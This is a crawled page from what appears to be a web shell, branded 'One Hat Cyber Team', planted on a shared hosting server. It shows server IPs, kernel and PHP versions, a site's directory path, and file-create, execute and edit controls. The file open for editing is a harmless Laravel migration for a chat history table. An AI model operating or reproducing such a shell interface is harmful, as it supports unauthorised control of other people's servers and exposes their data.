One Hat Cyber Team
Your IP :
3.140.254.100
Server IP :
162.241.123.123
Server :
Linux sh016.hostgator.in 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Server Software :
Apache
PHP Version :
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home1
/
saicsazq
/
keedoai.com
/
database
/
migrations
/
Edit File:
2023_05_04_044819_create_chat_histories_table.php
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('chat_histories', function (Blueprint $table) { $table->id(); $table->bigInteger('user_id')->unsigned(); $table->string('conversation_id')->nullable(); $table->longText('response')->nullable(); $table->longText('prompt')->nullable(); $table->integer('words')->nullable(); $table->longText('images')->nullable(); $table->timestamps(); $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('chat_histories'); } };
Simpan